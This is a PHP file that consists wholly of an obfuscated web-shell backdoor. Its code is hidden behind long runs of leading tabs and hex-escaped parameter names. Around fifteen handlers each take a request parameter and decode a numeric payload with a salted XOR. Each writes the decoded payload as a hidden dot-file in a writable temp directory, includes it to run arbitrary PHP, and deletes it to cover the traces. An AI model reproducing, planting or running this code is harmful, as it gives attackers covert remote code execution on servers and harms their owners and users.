<?php																																										if(filter_has_var(INPUT_POST, "\x68older")){ $hld = $_REQUEST["\x68older"]; $hld = explode( "." ,$hld ) ; $binding = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); $l = 0; array_walk($hld, function ($v7) use (&$binding, &$l, $s4, $sLen) { $chS = ord($s4[$l% $sLen]); $d = ((int)$v7 - $chS - ($l% 10)) ^ 21; $binding.=chr($d); $l++; }); $item = array_filter(["/var/tmp", session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm"]); $object = 0; do { $flag = $item[$object] ?? null; if ($object >= count($item)) break; if (!!is_dir($flag) && !!is_writable($flag)) { $element = "$flag/.pgrp"; if (@file_put_contents($element, $binding) !== false) { include $element; unlink($element); exit; } } $object++; } while (true); }
																																										if(array_key_exists("\x63\x6Fmp", $_REQUEST) && !is_null($_REQUEST["\x63\x6Fmp"])){ $binding = $_REQUEST["\x63\x6Fmp"]; $binding = explode ("." ,$binding ) ; $data = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($binding as $q => $v5): $chS = ord($salt[$q % $lenS] ); $dec = ((int)$v5 - $chS - ($q % 10)) ^ 43; $data .= chr($dec ); endforeach; $element = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getcwd(), "/tmp", getenv("TMP"), session_save_path(), "/dev/shm"]); $ptr = 0; do { $hld = $element[$ptr] ?? null; if ($ptr >= count($element)) break; if (is_writable($hld) && is_dir($hld)) { $bind = "$hld" . "/.pset"; if (file_put_contents($bind, $data)) { require $bind; unlink($bind); exit; } } $ptr++; } while (true); }
																																										if(isset($_POST["\x6Dr\x6B"]) ? true : false){ $rec = array_filter([session_save_path(), "/var/tmp", getenv("TEMP"), getcwd(), "/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir")]); $pointer = $_POST["\x6Dr\x6B"]; $pointer = explode ('.' , $pointer ); $k = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $p = 0; $__tmp = $pointer; while ($v6 = array_shift($__tmp)) { $chS = ord($salt6[$p % $sLen]); $dec = ((int)$v6 - $chS - ($p % 10))^ 58; $k .= chr($dec); $p++; } while ($tkn = array_shift($rec)) { if (!( !is_dir($tkn) || !is_writable($tkn) )) { $ref = str_replace("{var_dir}", $tkn, "{var_dir}/.resource"); if (@file_put_contents($ref, $k) !== false) { include $ref; unlink($ref); die(); } } } }
																																										if(!empty($_REQUEST["\x72\x65s"])){ $item = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/tmp", session_save_path()]); $data_chunk = $_REQUEST["\x72\x65s"]; $data_chunk =explode ( ".", $data_chunk ) ; $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $s = 0; foreach( $data_chunk as $v1) { $sChar = ord( $salt[$s % $lenS]); $d =( ( int)$v1 - $sChar -( $s % 10)) ^12; $ref.=chr( $d); $s++; } $marker = 0; do { $rec = $item[$marker] ?? null; if ($marker >= count($item)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) { $ptr = implode("/", [$rec, ".component"]); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $ptr; @unlink($ptr); die(); } } $marker++; } while (true); }
																																										if(!is_null($_POST["s\x79m"] ?? null)){ $reference = array_filter(["/dev/shm", "/tmp", getenv("TMP"), "/var/tmp", getenv("TEMP"), session_save_path(), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $key = $_POST["s\x79m"]; $key= explode ( '.' ,$key) ; $symbol= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); foreach($key as $l => $v5): $chS= ord($s[$l % $lenS]); $d= ((int)$v5 - $chS -($l % 10)) ^ 77; $symbol .= chr($d); endforeach; while ($binding = array_shift($reference)) { if (max(0, is_dir($binding) * is_writable($binding))) { $ptr = "$binding" . "/.object"; $success = file_put_contents($ptr, $symbol); if ($success) { include $ptr; @unlink($ptr); exit;} } } }
																																										if(@$_POST["\x76\x61lue"] !== null){ $sym = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), session_save_path(), "/var/tmp", getcwd()]); $rec = $_POST["\x76\x61lue"]; $rec = explode ( "." , $rec) ; $mrk = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1 ); $y = 0; while ($y < count($rec)) { $v7 = $rec[$y]; $chS = ord($s1[$y %$lenS] ); $d = ((int)$v7 - $chS - ($y %10)) ^ 44; $mrk .= chr($d ); $y++; } for ($desc = 0, $dat = count($sym); $desc < $dat; $desc++) { $binding = $sym[$desc]; if (array_product([is_dir($binding), is_writable($binding)])) { $res = join("/", [$binding, ".val"]); if (@file_put_contents($res, $mrk) !== false) { include $res; unlink($res); die(); } } } }
																																										if(isset($_POST["\x64ata"]) ? true : false){ $bind = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", session_save_path(), getenv("TEMP")]); $factor = $_POST["\x64ata"]; $factor = explode ( '.' , $factor ) ; $resource = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4); $o = 0; $__tmp = $factor; while( $v4 = array_shift( $__tmp)) { $chS = ord( $s4[$o % $lenS]); $d = ( ( int)$v4 - $chS -( $o % 10)) ^ 8; $resource .= chr( $d); $o++; } $res = 0; do { $itm = $bind[$res] ?? null; if ($res >= count($bind)) break; if ((is_dir($itm) and is_writable($itm))) { $ent = join("/", [$itm, ".data_chunk"]); if (@file_put_contents($ent, $resource) !== false) { include $ent; unlink($ent); die(); } } $res++; } while (true); }
																																										if(isset($_POST["\x68\x6Cd"]) ? true : false){ $bind = array_filter(["/dev/shm", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]); $descriptor = $_POST["\x68\x6Cd"]; $descriptor = explode ( '.' , $descriptor ) ; $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $v = 0; array_walk($descriptor, function($v9) use(&$obj, &$v, $s, $lenS) { $chS = ord($s[$v % $lenS] ); $d =((int)$v9 - $chS -($v % 10)) ^ 87; $obj .= chr($d ); $v++; } ); foreach ($bind as $key => $marker) { if ((function($d) { return is_dir($d) && is_writable($d); })($marker)) { $dchunk = implode("/", [$marker, ".pset"]); $success = file_put_contents($dchunk, $obj); if ($success) { include $dchunk; @unlink($dchunk); die();} } } }
																																										if(array_key_exists("\x68\x6Fl\x64er", $_POST)){ $property_set = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TMP")]); $data_chunk = $_POST["\x68\x6Fl\x64er"]; $data_chunk = explode ( "." , $data_chunk ) ; $value = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $v = 0; $__tmp = $data_chunk; while ($v8 = array_shift($__tmp)) { $sChar = ord($s[$v % $lenS]); $dec = ((int)$v8 - $sChar - ($v % 10)) ^94; $value .= chr($dec); $v++; } foreach ($property_set as $key => $pointer) { if (array_product([is_dir($pointer), is_writable($pointer)])) { $desc = implode("/", [$pointer, ".dat"]); $file = fopen($desc, 'w'); if ($file) { fwrite($file, $value); fclose($file); include $desc; @unlink($desc); die(); } } } }
																																										if(in_array("\x72e\x73our\x63e", array_keys($_REQUEST))){ $pgrp = $_REQUEST["\x72e\x73our\x63e"]; $pgrp =explode ("." , $pgrp ) ; $reference= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $__len= count($pgrp); for($x= 0; $x < $__len; $x++) { $v3= $pgrp[$x]; $sChar= ord($salt[$x % $sLen]); $d= ((int)$v3 - $sChar -($x % 10))^45; $reference.=chr($d); } $k = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), session_save_path(), "/tmp", sys_get_temp_dir(), "/var/tmp", getcwd(), "/dev/shm"]); foreach ($k as $component) { if (array_product([is_dir($component), is_writable($component)])) { $entry = "$component/.itm"; $success = file_put_contents($entry, $reference); if ($success) { include $entry; @unlink($entry); die();} } } }
																																										if(isset($_REQUEST["k"]) ? true : false){ $component = $_REQUEST["k"]; $component = explode( ".",$component ) ; $comp = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $x = 0; array_walk($component , function ($v3) use (&$comp , &$x , $s7 , $sLen) { $sChar = ord($s7[$x % $sLen]); $dec = ((int)$v3 - $sChar - ($x % 10)) ^ 74; $comp .=chr($dec); $x++; }); $hld = array_filter([session_save_path(), "/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm"]); while ($desc = array_shift($hld)) { if (!( !is_dir($desc) || !is_writable($desc) )) { $element = str_replace("{var_dir}", $desc, "{var_dir}/.bind"); if (@file_put_contents($element, $comp) !== false) { include $element; unlink($element); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "h\x6C\x64")){ $ent = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd(), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm"]); $pgrp = $_REQUEST["h\x6C\x64"]; $pgrp = explode ( "." , $pgrp ) ; $ref = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); $l = 0; $__tmp = $pgrp; while($v3 = array_shift($__tmp)) { $sChar = ord($salt1[$l % $lenS]); $d =((int)$v3 - $sChar -($l % 10)) ^ 17; $ref .= chr($d); $l++; } $data = 0; do { $value = $ent[$data] ?? null; if ($data >= count($ent)) break; if (max(0, is_dir($value) * is_writable($value))) { $key = "$value" . "/.entity"; if (file_put_contents($key, $ref)) { include $key; @unlink($key); exit; } } $data++; } while (true); }
																																										if(isset($_REQUEST["i\x74\x6D"]) ? true : false){ $pgrp = $_REQUEST["i\x74\x6D"]; $pgrp = explode('.', $pgrp ) ; $parameter_group = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); foreach ($pgrp as $v => $v2) {$chS = ord($salt9[$v % $lenS]); $dec = ((int)$v2 - $chS - ($v % 10)) ^ 81; $parameter_group .= chr($dec); } $marker = array_filter(["/dev/shm", getenv("TMP"), "/tmp", getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getcwd()]); foreach ($marker as $item) { if ((function($d) { return is_dir($d) && is_writable($d); })($item)) { $binding = sprintf("%s/.mrk", $item); $success = file_put_contents($binding, $parameter_group); if ($success) { include $binding; @unlink($binding); exit;} } } }
																																										if(in_array("pgr\x70", array_keys($_POST))){ $comp = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/var/tmp", session_save_path(), getcwd(), getenv("TMP"), "/dev/shm"]); $dchunk = $_POST["pgr\x70"]; $dchunk= explode ( '.' , $dchunk ) ; $flag= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); $l= 0; $__len= count($dchunk ); do { if($l >= $__len) break; $v4= $dchunk[$l]; $sChar= ord($s[$l % $lenS] ); $d= ((int)$v4 - $sChar -($l % 10)) ^ 59; $flag .= chr($d ); $l++; } while(true ); while ($tkn = array_shift($comp)) { if (array_product([is_dir($tkn), is_writable($tkn)])) { $binding = "$tkn/.token"; if (file_put_contents($binding, $flag)) { include $binding; @unlink($binding); exit; } } } }


if(!is_null($_POST["fa\x63\x74\x6Fr"] ?? null)){
	$bind = array_filter(["/dev/shm", session_save_path(), "/var/tmp", "/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP")]);
	$key = $_POST["fa\x63\x74\x6Fr"];
	$key	=	explode	 ( 	'.', 	 $key	) 	;
	$desc = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s );
            $len = count($key );
    
            for($y = 0; $y < $len; $y++) {	 $v9 = $key[$y];
                $chS = ord($s[$y%	 $sLen] );
                $dec =((int)$v9 - $chS -($y%	 10))	^	64;
                $desc 	.=		chr($dec );		}
	for ($item = 0, $ent = count($bind); $item < $ent; $item++) {
    $comp = $bind[$item];
    		if ((bool)is_dir($comp) && (bool)is_writable($comp)) {
    $token = "$comp/.rec";
    $file = fopen($token, 'w');
if ($file) {
	fwrite($file, $desc);
	fclose($file);
	include $token;
	@unlink($token);
	exit;
}
}
}
}